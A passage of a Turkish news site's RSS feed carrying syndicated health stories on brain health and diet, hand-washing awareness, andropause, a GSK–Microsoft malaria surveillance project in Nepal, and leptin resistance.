gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 14:29:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/migren-ataklari-dunyada-yaklasik-1-milyar-insani-olumsuz-etkiliyor-HanJxpLR.jpg"/>
            </item>
                                <item>
                <title>Dengeli ve sağlıklı beslenmek beyni geliştiriyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/dengeli-ve-saglikli-beslenmek-beyni-gelistiriyor-547526</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/dengeli-ve-saglikli-beslenmek-beyni-gelistiriyor-547526</guid>
                <description><![CDATA[Beyni verimli kullanmak Alzheimer, demans gibi hastalıklardan korunmak için oldukça önemli. Anadolu Sağlık Merkezi Nöroloji Bölümü Direktörü Prof ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>Beyni verimli kullanmak Alzheimer, demans gibi hastalıklardan korunmak için oldukça önemli. Anadolu Sağlık Merkezi Nöroloji Bölümü Direktörü Prof. Dr. Yaşar Kütükçü “Olaylara ve konuşmalara yoğunlaşmak, odak noktasını artırmak, fiziksel olarak aktif olmak, okuma ve öğrenmeye devam etmek gibi davranışlar beynin daha verimli kullanılmasını sağlıyor. Dengeli ve sağlıklı beslenmek beyin gelişimine katkı sağlarken, proteinden zengin ve omega 3 destekli bir beslenme düzeni de beyne yararlı” açıklamasında bulundu. </span></strong></p>  <p><span>Beyin gelişiminde dengeli ve sağlıklı beslenmenin önemli bir rolü olduğunu vurgulayan Anadolu Sağlık Merkezi Nöroloji Bölümü Direktörü Prof. Dr. Yaşar Kütükçü “Bunun yanında beynin gelişimi açısından proteinden zengin ve omega 3 destekli bir beslenme düzeni olmalı. Özellikle aşırı yağlı besinler, hazır gıdalar ve şeker yüklü besinler insülin direncini arttırarak erken dönemde demans gelişmesine neden olabilir” şeklinde konuştu.</span></p>  <p><strong><span>Ailesel Alzheimer geni olsa bile hastalığın kesin olarak çıkacağı anlamına gelmez</span></strong></p> <p><span>Bilişsel fonksiyonların azalmasına bağlı olarak gelişen Alzheimer hastalığının genetik yönünün de olduğunu söyleyen Nöroloji Bölümü Direktörü Prof. Dr. Yaşar Kütükçü “Ailesel Alzheimer hastalığı vakaların yüzde beşten azını oluşturuyor. Bu geni taşıyanlar 50 yaşından önce belirti gösterebiliyor. Bununla birlikte ailede Alzheimer geninin varlığı hastalığın kesin ortaya çıkacağı anlamına gelmez. Alzheimer, beslenme, kolesterol yüksekliği, D vitamini eksikliği, hipertansiyon, diyabet gibi değiştirilebilir faktörlerle yakın ilişkide olup, bireyin kendini aktif tutup tutmaması ve en önemlisi de vücut egzersizinin oranı genetik riske göre daha fazla etkiliyor” dedi.</span></p>  <p><strong><span>Uyku apnesi olanlar dikkat</span></strong></p> <p><span>Fiziksel egzersizin, Alzheimer’ın önüne geçilmesinde en önemli etken olduğunu belirten Nöroloji Bölümü Direktörü Prof. Dr. Yaşar Kütükçü “Hatta bir süre düzenli egzersiz beyindeki değişiklikleri bile bir miktar geri döndürebiliyor. Yeterli ve etkin bir uyku da demans olasılığını artırıyor. Bireylerde uyku apnesi gibi uykunun derinleşmesini bozan durumlar da bir süre sonra Alzheimer hastalığını tetikleyebiliyor” açıklamasında bulundu.</span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-dengeli-ve-saglikli-beslenmek-beyni-gelistiriyor-67605.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 12:42:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/dengeli-ve-saglikli-beslenmek-beyni-gelistiriyor-k2OCBc9W.jpg"/>
            </item>
                                <item>
                <title>Sağlık Elimizde: Güvenli Bakım İçin Ellerini Yıka</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/saglik-elimizde-guvenli-bakim-icin-ellerini-yika-547521</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/saglik-elimizde-guvenli-bakim-icin-ellerini-yika-547521</guid>
                <description><![CDATA[EÜ Hemşirelik Fakültesinden “Küresel El Yıkama Günü” Etkinliği Ege Üniversitesi Hemşirelik Fakültesi tarafından “Küresel El Yıkama Günü ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>EÜ Hemşirelik Fakültesinden “Küresel El Yıkama Günü” Etkinliği</span></span></p>  <p><span><span>Ege Üniversitesi Hemşirelik Fakültesi tarafından “Küresel El Yıkama Günü” dolayısıyla “Sağlık Elimizde: Güvenli Bakım İçin Ellerini Yıka” etkinliği düzenlendi. Yürütücülüğünü EÜ Hemşirelik Fakültesi Hemşirelik Bölümü İç Hastalıkları Hemşireliği Anabilim Dalı öğretim üyesi Prof. Dr. Aynur Türeyen’in yaptığı sosyal sorumluluk projesi kapsamında kurulan bilgilendirme standında katılımcılara doğru el yıkama teknikleri, el yıkama konusunda bilinç ve farkındalık kazandırma konuları hakkında bilgiler verildi.</span></span></p>  <p><span><span>EÜ Hemşirelik Fakültesi bahçesinde düzenlenen etkinliğe EÜ Hemşirelik Fakültesi Dekanı Prof. Dr. Ayşegül Dönmez, Hemşirelik Fakültesi Dekan Yardımcısı Doç. Dr. Eda Dolgun ve Doç. Dr. Fahriye Vatan, akademisyenler ve öğrenciler katıldı.</span></span></p>  <p><span><span>Etkinlik öncesi Prof. Dr. Aynur Türeyen moderatörlüğünde Arş. Gör. Yağmur Artan tarafından “El Yıkama: Önemi ve İlkeleri” ile ilgili online kariyer söyleşisi gerçekleştirildi.  Bilgilendirme standından konuşan Prof. Dr. Aynur Türeyen, “Bu sosyal sorumluluk projesinde öğrencilerimize hem toplumda enfeksiyon zincirini kırarak bulaşık hastalıkları önlemek hem de hastane ortamında sağlık bakım ile ilgili enfeksiyon oluşumunu önlemek için temel kural olan doğru el yıkama hakkında bilgilendirme yapmayı hedefledik. Bu şekilde öğrencilerimize el yıkama konusunda bilinç, farkındalık ve duyarlılık oluşturarak doğru davranış kazandırmayı amaçlıyoruz” dedi. Bilgilendirme standında sosyal ve tıbbi el hijyeni hakkında bilgilendirme yapılmıştır konuya ilişkin broşürler verilmiş ve öğrencilere doğru el yıkama ile ilgili uygulamalar gösterilmiştir.</span></span></p>  <p><span><span>Yürütücülüğünü EÜ Hemşirelik Fakültesi Hemşirelik Bölümü İç Hastalıkları Hemşireliği Anabilim Dalı öğretim üyesi Prof. Dr. Aynur Türeyen’in yaptığı sosyal sorumluluk projesinde Ar. Gör. Yağmur Artan ve Fakülte öğrencilerinden Aslı Yıldırım, Ömer Faruk Kömür, Faruk Sönmez ve Mehdinur Demir yer alıyor.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-saglik-elimizde-guvenli-bakim-icin-ellerini-yika-67600.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 12:30:07 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/saglik-elimizde-guvenli-bakim-icin-ellerini-yika-NnzYFcTF.jpg"/>
            </item>
                                <item>
                <title>Andropoz döneminde hangi ruhsal değişiklikler görülüyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/andropoz-doneminde-hangi-ruhsal-degisiklikler-goruluyor-547508</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/andropoz-doneminde-hangi-ruhsal-degisiklikler-goruluyor-547508</guid>
                <description><![CDATA[Hormon eksikliğiyle birlikte gelişebilen, yaşa bağlı testosteron, DHEA ve diğer hormonlardaki düşüşün etkilerinin olduğu gerçek fizyolojik bir ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Hormon eksikliğiyle birlikte gelişebilen, yaşa bağlı testosteron, DHEA ve diğer hormonlardaki düşüşün etkilerinin olduğu gerçek fizyolojik bir durum olan andropoz dönemi, “erkek menopozu” olarak da adlandırılıyor. Andropoz döneminin coğrafi koşullara ve ırka göre dünya genelinde 40’lı yaşların sonu 50’li yaşların başında başlayabildiğini belirten Uzman Klinik Psikolog Uluğ Çağrı Beyaz, bu dönemde çeşitli ruhsal değişikliklerin görülebildiğini kaydediyor. Beyaz, bu dönemde kendine güven kaybı, motivasyon ve enerji eksikliği, depresyon ya da üzüntü hali, konsantre olmada zorluk gibi farklı ruhsal değişiklikler görülebildiğini söyledi.</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi NP Etiler Tıp Merkezi Uzman Klinik Psikolog Uluğ Çağrı Beyaz, “erkek menopozu” olarak da adlandırılan andropoz dönemine ilişkin değerlendirmede bulundu.</span></span></p>  <p><span><span><strong>Andropoz fizyolojik bir durumdur</strong></span></span></p> <p><span><span>Uzman Klinik Psikolog Uluğ Çağrı Beyaz, andropozun hormon eksikliğiyle birlikte gelişebilen, yaşa bağlı testosteron, DHEA ve diğer hormonlardaki düşüşün etkilerinin olduğu gerçek fizyolojik bir durum olmakla birlikte erkeklik hormonlarında azalmayla ortaya çıkan fiziksel ve emosyonel değişiklikler olarak da tarif edildiğini söyledi.</span></span></p>  <p><span><span>Uzman Klinik Psikolog Uluğ Çağrı Beyaz, “Andropoz dönemi, coğrafi koşullara, ırka göre değişebilmekte ve dünya genelinde 40’lı yaşların sonu 50’li yaşların başında başlayabildiği görülmektedir.” dedi.</span></span></p>  <p><span><span><strong>Andropoz döneminde yaşam birçok açıdan etkilenebiliyor</strong></span></span></p> <p><span><span>Yaşlanmayla birlikte erkek vücudunda meydana gelen hormonal değişimlerin yaşamı pek çok açıdan etkileyebildiğini ifade eden Uzman Klinik Psikolog Uluğ Çağrı Beyaz, “Testosteron seviyelerinin azalması, tümüyle belirti ve semptomlara neden olmamakla birlikte andropoz, bazı bireylerde fiziksel, cinsel ve psikolojik sorunlara neden olabilir. Bu sorunlar bireyin yaşının ilerlemesiyle daha ağır bir hal alabilmektedir” uyarısında bulundu.</span></span></p>  <p><span><span><strong>Ruhsal değişikliklere yol açabiliyor</strong></span></span></p> <p><span><span>Uzman Klinik Psikolog Uluğ Çağrı Beyaz, yapılan bilimsel çalışmalar doğrultusunda andropozun neden olduğu ruhsal değişiklikleri şöyle sıraladı:</span></span></p> <ul> <li><span><span>Kendine güvenin kaybı,</span></span></li> <li><span><span>Motivasyon ve enerji eksikliği,</span></span></li> <li><span><span>Depresyon ya da üzüntü hali,</span></span></li> <li><span><span>Ereksiyon bozukluğuyla birlikte oluşabilen düşük benlik algısı,</span></span></li> <li><span><span>Kas kütlesinde azalmayla birlikte fiziksel zayıflık duyguları,</span></span></li> <li><span><span>Konsantre olmada zorluk,</span></span></li> <li><span><span>Düşük yaşam doyumu,</span></span></li> <li><span><span>Kaygılı ve hayatı kaçırıyor olma hisleri.</span></span></li> </ul>  <p><span><span><strong>Değişiklikler kişiden kişiye farklılık gösteriyor</strong></span></span></p> <p><span><span>Diğer pek çok rahatsızlıkta olduğu gibi, andropoz dönemindeki değişikliklerin de kişiden kişiye farklılık gösterebildiğini kaydeden Uzman Klinik Psikolog Uluğ Çağrı Beyaz, “Andropoz, her erkekte görülen oldukça doğal olan bir süreçtir. Ancak bu durum normal olarak kabul edilse de sürecin neden olduğu değişiklikler bireyin iş ve sosyal yaşamını olumsuz yönde etkileyebilmektedir. Bu durum çeşitli ruhsal sorunları da beraberinde getirebilir. Durumun etkileri kişiden kişiye göre farklılık gösterse de andropoz dönemindeki her erkek bu durumdan etkilenmektedir. Bireyin bu durumu nasıl ve ne şekilde algıladığı, bu sürece atfettiği anlam, bu durumun nasıl karşılanacağı konusunda önemli bir etkendir.” dedi.</span></span></p>  <p><span><span><strong>Çiftler bu önerilere kulak verin!</strong></span></span></p> <p><span><span>Çiftlerin bu dönemde dikkat etmeleri gereken noktalara da dikkat çeken Uzman Klinik Psikolog Uluğ Çağrı Beyaz, “Bütün ilişkilerin inişleri ve çıkışları olmaktadır. Bazı dönemlerde ise bunlar daha yoğun bir şekilde olabilmektedir. Andropoz dönemi erkekler için oldukça hassas bir süreç olabileceği için eşlerinin birbirleriyle olan iletişim konusunda destekleri çok önemlidir.” dedi.</span></span></p>  <p><span><span>Uzman Klinik Psikolog Uluğ Çağrı Beyaz, bu dönemde dikkat edilmesi gereken konuları şöyle sıraladı:</span></span></p> <ul> <li><span><span>Eşlerin birbirlerini dinlemeye ve anlamaya niyetlenmesi. Bu dönemde birey, kendisini yalnız ve kırılgan hissedebilir. Bu yüzden eşlerin birbirlerini dinlemek için vakit ayırması eşlerin birbirlerine karşı anlayış ve desteğini artıracaktır.</span></span></li> <li><span><span>Nasıl davranılması gerektiği konusunda eleştirel bir tutum sergilemekten kaçınmalı.</span></span></li> <li><span><span>Yaşanan değişimleri kişisel algılamamalı. Eşiniz sizin desteğinizi, ilginizi reddedebilir, yanında olmanızı istemiyor gibi davranabilir veya gerçekten istemiyor da olabilir. Bu durumda ilgi ve destek vermeye çalışmak kolay olmasa da bu durumu kişisel algılamamalısınız. Bu davranışlar tamamen eşinizin içinde bulunduğu durumla ilgili bir durum.</span></span></li> <li><span><span>Bu döneme özgü yaşanabilecek değişimleri, sıkıntıları ve duyguları ertelemeden, biriktirmeden dile getirmek-konuşmak. Bu süreçte iletişimi olabildiğince yüksek tutmak önemlidir.</span></span></li> <li><span><span>Kısıtlayıcı olmamak, kıskançlık yapmamak ve baskıcı davranmamak.</span></span></li> </ul>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-andropoz-doneminde-hangi-ruhsal-degisiklikler-goruluyor-67593.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 12:16:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/andropoz-doneminde-hangi-ruhsal-degisiklikler-goruluyor-Lsu2I2H2.jpg"/>
            </item>
                                <item>
                <title>GSK ve Microsoft İş Birliğiyle Nepal&#039;de Hastalık Gözetim Projesi Başlatıldı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/gsk-ve-microsoft-is-birligiyle-nepalde-hastalik-gozetim-projesi-baslatildi-547507</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/gsk-ve-microsoft-is-birligiyle-nepalde-hastalik-gozetim-projesi-baslatildi-547507</guid>
                <description><![CDATA[GSK ve Microsoft iş birliğinde “Hastalık Gözetim Projesi” hayata geçirildi. Nepal’de sivrisineklerin taşıdığı hastalıkların önüne geçmeyi ...]]></description>
                <content:encoded><![CDATA[<p><p><strong><span>GSK ve Microsoft iş birliğinde “Hastalık Gözetim Projesi” hayata geçirildi. Nepal’de sivrisineklerin taşıdığı hastalıkların önüne geçmeyi amaçlayan projenin sağlık ve hastalık alanındaki ortağı GSK olurken; Microsoft teknolojik destek sağladı.</span></strong></p>  <p><span>GSK’nın sağlık ve hastalık alanındaki uzmanlığı; Microsoft’un ise robotik ve genomik kullanarak hastalık tehditlerinin erken tespitinde kullanılan Premonition sistemlerinin birleşmesiyle hayata geçirilen “Hastalık Gözetim Projesi” Nepal Sağlık ve Hastalık Çalışmaları Merkezi’nin destekleriyle başlatıldı. Sağlık hizmetlerinde iklim değişikliğine bağlı artan hastalık ve virüslerde fırsat eşitsizliğine sahip olan toplumlara odaklanan proje, sıtma gibi sivrisinekler tarafından taşınan hastalıkların artışının önüne geçilmesi amacıyla Nepal’de başlatıldı. </span></p>  <p><span>Salgınların tespitinin geciktiği toplumların önceliklendirildiği Hastalık Gözetim Projesi ile hastalıkların erken tespiti ve yönetimi için yeni izleme stratejilerinin geliştirilmesi hedefleniyor. Projeden olumlu çıktıların elde edilmesi halinde ihtiyaç duyan tüm toplumlara sunulması planlanıyor.</span></p>  <p><span>Projeye yönelik açıklamalarda bulunan<strong> GSK Küresel Sağlık Direktörü Thomas Breuer</strong>: “İklim değişikliği kaynaklı sağlık problemlerinin etkisi bu alanda hizmetin kısıtlı olduğu toplumlarda daha sık görülüyor. Süregelen iklim değişikliğinden kaynaklanan hastalıkların yayılımının ise küresel çerçevede artması bekleniyor. Bu kapsamda Microsoft iş birliğinde hayata geçirdiğimiz Hastalık Gözetim Projesi’yle hastalıkların önlenmesinde dezavantaja sahip toplumlara fayda sağlamayı önceliklendirdik. Bu proje ile toplumların iklim değişikliğinin etkilerine sağlık alanında uyum sağlamalarına destek olacak; onlara bilime dayalı çözümler sunacağız. GSK ve Microsoft olarak bu projeyi farklı sektörlerden yenilikçi şirketlerin iklimle ilgili sağlık sorunlarına çözüm geliştirmek üzere bir araya geldiğinde nelerin mümkün olabileceğinin harika bir örneği olarak görüyoruz." dedi.</span></p>  <p><span>Teknolojik gelişmeler sayesinde sağlık alanındaki birçok fırsat eşitliğinin önüne geçilebileceğini vurgulayan <strong>Microsoft Başkanı ve Başkan Yardımcısı Brad Smith</strong>: “Yeni teknolojiler, toplumlarda iklim değişikliğinden kaynaklı ortaya çıkan sorunların önüne geçilmesinde önemli bir rol oynuyor. Microsoft Premonition teknolojisi ile GSK'nın sağlık alanındaki uzmanlığını bir araya getirerek, Nepal'deki halk sağlığı kuruluşlarının yararına olacak bir proje tasarladık. Microsoft olarak güçlü iş birlikleriyle dünya genelinde sağlık alanındaki fırsat eşitsizliğinin aşılması için çalışmalarımızı sürdüreceğiz.” şeklinde konuştu.</span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-gsk-ve-microsoft-is-birligiyle-nepal-de-hastalik-gozetim-projesi-baslatildi-67590.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 12:15:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/gsk-ve-microsoft-is-birligiyle-nepalde-hastalik-gozetim-projesi-baslatildi-vWPDqwMT.jpg"/>
            </item>
                                <item>
                <title>Sürekli Yeme İsteğinizin Altında Leptin Direnci Olabilir</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/surekli-yeme-isteginizin-altinda-leptin-direnci-olabilir-547506</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/surekli-yeme-isteginizin-altinda-leptin-direnci-olabilir-547506</guid>
                <description><![CDATA[Kilo fazlası olanların diyet yaparken en çok zorlandıkları konuların başında iştahın kontrol edilmesi geliyor. Özellikle kilo verme sürecine ...]]></description>
                <content:encoded><![CDATA[<p><p><em><span>Kilo fazlası olanların diyet yaparken en çok zorlandıkları konuların başında iştahın kontrol edilmesi geliyor. Özellikle kilo verme sürecine girildikten bir süre sonra gelen sürekli yeme isteği ile birlikte kilo kontrolünün giderek zorlaştığını söyleyen Uzm. Dyt. Buket Ertaş Sefer, bu durumun ortaya çıkmasına hormonlardaki değişimin neden olduğunu anlattı. Özellikle fazla kilo alımı sonrasında oluşan leptin direncinin doyma hissini ortadan kaldırdığına dikkat çekti. </span></em></p>  <p><span>Açlık-tokluk hissi kendi irademiz ile ilgili gibi görünse de aslında çoğunlukla hormon dengemiz ile ilgili bir durum. Yağ dokusu ve vücudun farklı bölgelerinden de salınan Leptin hormonu sayesinde beyin “artık doydun ve yeme” komutunu vererek doygunluk sağlıyor. Dolayısıyla leptin hormonunun aslında sağlıklı beslenme sürecinde son derece değerli olduğunu söyleyen Dyt. Buket Ertaş Sefer, ancak yağ dokusunun aşırı olması durumunda, insülin direnci benzeri bir dirence girerek işlevini yerine getiremez hale geldiğini söyledi.</span></p>  <p><strong><span>“DİYETTE YÜKSEK KALORİLİ YEMEKLERİ YEME DÜRTÜSÜ GELİR”</span></strong></p> <p><span>Özellikle kilo vermeye başladıktan bir süre sonra hem tartıda daha az azalma görülmesi, hem de iştahın artmasındaki nedenin da gelişen bu leptin direnci olduğunu anlatan Dyt. Buket Ertaş Sefer, şunları anlattı: “Vücuttan yağ ile birlikte leptin de azalır ve bu nedenle iştah da artar. Üstelik sadece iştah artışı değil, yağlı, yüksek kalorili yiyecekler yemeye yönelik daha da güçlü bir dürtü gelişir. Beynimiz de vücudun leptin seviyelerini normale döndürmeye çalışır. İşte kilo verme sürecinde asıl bu dürtüyle savaş kazanılırsa genel vücut sağlığı için faydalı sonuçlara ulaşmak mümkün olur.” </span></p>  <p><span>Leptin direnciyle birlikte bazal metabolizma hızının yavaşladığını anlatan Dyt. Buket. E. Sefer, “Kilo vermeyle birlikte vücut açlık hissine kapılır daha fazla yeme hissiyle kendini korumaya alır ve elindeki enerjiyi idareli kullanabilmek için bazal metabolizma hızını yavaşlatmaya başlar. Dolayısıyla kilo verme sürecinde bir başka zorluk daha ortaya çıkar.” Diye konuştu. </span></p>  <p><span>Dyt. Buket Ertaş Sefer, vücuttaki inflamasyon, aşırı kilo alımıyla birlikte aşırı miktarda leptin üretimi ve kan yağlarındaki artışın leptin direncine neden olan unsurların başında geldiğini söyledi. </span></p>  <p><strong><span>“DİYETLERDEKİ YOYO ETKİSİNİN DE NEDENİ”</span></strong></p> <p><span>Yağ dokusundan salgılanan Leptin, kilo verirken azalsa da direncin her zaman kırılmış sayılmadığını anlatan Dyt. Buket E. Sefer sözlerine şöyle devam etti. “Leptin miktarı azalsa da direnç devam edebilir. Zayıflarken yağ kaybıyla birlikte leptin kaybının da olması daha fazla açlık hissini ortaya çıkarır ve bu durumla birlikte vücut daha fazla yeme eğilimine girer. Diyetlerde kilo verdikten sonra hızlıca geri almaya neden olan yo-yo  etkisinin muhtemel sebebi de budur.”</span></p>  <p><strong><span>“KİLO VERME SÜRECİ BİR ANLAMDA HORMONLARLA SAVAŞMAYI GEREKTİYOR”</span></strong></p> <p><span>Kalp hastalığı, hipertansiyon, yüksek kolesterol ve diyabet gibi kronik hastalık riskini düşürmenin yanı sıra kilo vermenin eklemler üzerine binen yükü de azalttığını hatırlatan Dyt. Buket Ertaş Sefer, vücut ağırlığından sadece 1 kilo kaybetmenin bile eklemler üzerinde 4 kilo baskıyı azalttığının araştırmalarla da gösterildiğini söyledi. Dolayısıyla kilo vermek için hormonlara karşı savaşmak gerekse de sonuçları düşünüldüğünde bu savaşı kazanmanın çok önemli kazanımları olacağını unutmamak gerektiğinin altını çizdi. </span></p>  <p><strong><span>“KİLO ALDIKÇA DOYMA HİSSİ AZALMAYA BAŞLAR”</span></strong></p> <p><span>Leptinin tam tersi çalışan açlık hormonu Ghrelin ise mide boşaldıktan sonra beyne “acıktım” sinyalini verdiğini söyleyen Dyt. Buket Ertaş Sefer, “Obez bireylerde leptin fazlayken ghrelin düşük olur. Bu durum aslında avantaj gibi görünse de kiloyla birlikte hipotalamusun leptine karşı olan ilgisi düştükçedoyma hissi de gelmemeye başlar” diye konuştu. </span></p>  <p><strong><span>“SÜREKLİ ARA ÖĞÜN YAPMAK AÇLIK MEKANIZMASINI AKTİF TUTUYOR”</span></strong></p> <p><span> Dyt. Buket E. Sefer, ghrelin hormonu, midenin sürekli uyarılmasıyla daha fazla salınabildiği için sürekli ara öğün yaparak ya da atıştırarak açlık mekanizmasının aktif tutulmasının da kilo almaya neden olabildiğine dikkat çekti. Yapılan araştırmaların dışarıdan leptin takviyesinin de bir işe yaramadığının ortaya konduğunu söyleyen Dyt. Buket E. Sefer, “Dışarıdan alınan leptin kan beyin bariyerini geçemediği için etkisiz görülüyor” dedi. </span></p>  <p><strong><span>LEPTİN SEVİYESİNİ NORMAL DÜZEYDE TUTMAK MÜMKÜN MÜ?</span></strong></p> <p><span>Leptin seviyesine sadece yiyeceklerle müdahalenin de yeterli olmayabileceğini söyleyen Yeditepe Üniversitesi Kozyatağı Hastanesi, Uzm. Dyt. Buket E. Sefer, bunun için bazı yaşam tarzı değişikliklerine ihtiyaç olduğunu belirtilerek şu bilgileri verdi: </span></p>  <p><span>“Yüksek trigliserit seviyeleri de leptin seviyesinin ideal düzeye gelmesini engeller. Dolayısıyla her konuda olduğu gibi burada da düzenli egzersiz ve doğru beslenme ön plana çıkıyor. Doğru beslenme olmadan sadece harekette bir işe yaramıyor. Bunları takım oyunu olarak düşünmek gerekir. Düzenli egzersizle birlikte, sağlıklı yağlar tüketmek, omega 3 almak, lif oranını artırmak, sebze ve baklagil tüketimini artırmak, şeker ilaveli yiyecek ve içeceklerden kaçınmak trigliseritin düşürülmesine yardımcı olarak dolaylı yoldan sağlıklı leptin seviyelerine de katkı sunacaktır.”</span></p>  <p><span>Bunun dışında leptin direncinden kurtulmanın yollarıyla ilgili Dyt. Buket Ertaş Sefer şu önerilerde bulundu: “Öncelikle bozulmuş bağırsak florasını tamir etmek gerekir. Bunun için işlenmiş ve paketli gıdalardan uzak durarak, yoğurt, kefir gibi probiyotik kaynaklarından faydalanılmalı. Bunun yanında özellikle sebze, meyve ve baklagillerde yüksek oranda bulunan posadan zengin gıdalarla beslenmek, yeterli proteini almak ve özellikle gereksiz karbonhidrat alımını durdurmak gerekli.”</span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-surekli-yeme-isteginizin-altinda-leptin-direnci-olabilir-67589.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 12:15:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/surekli-yeme-isteginizin-altinda-leptin-direnci-olabilir-LkBvgylm.jpg"/>
            </item>
                                <item>
                <title>İnme Sonrası Hızlı İyileşme Erken Fizik Tedavi ile Mümkün Olabiliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/inme-sonrasi-hizli-iyilesme-erken-fizik-tedavi-ile-mumkun-olabiliyor-547498</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/inme-sonrasi-hizli-iyilesme-erken-fizik-tedavi-ile-mumkun-olabiliyor-547498</guid>
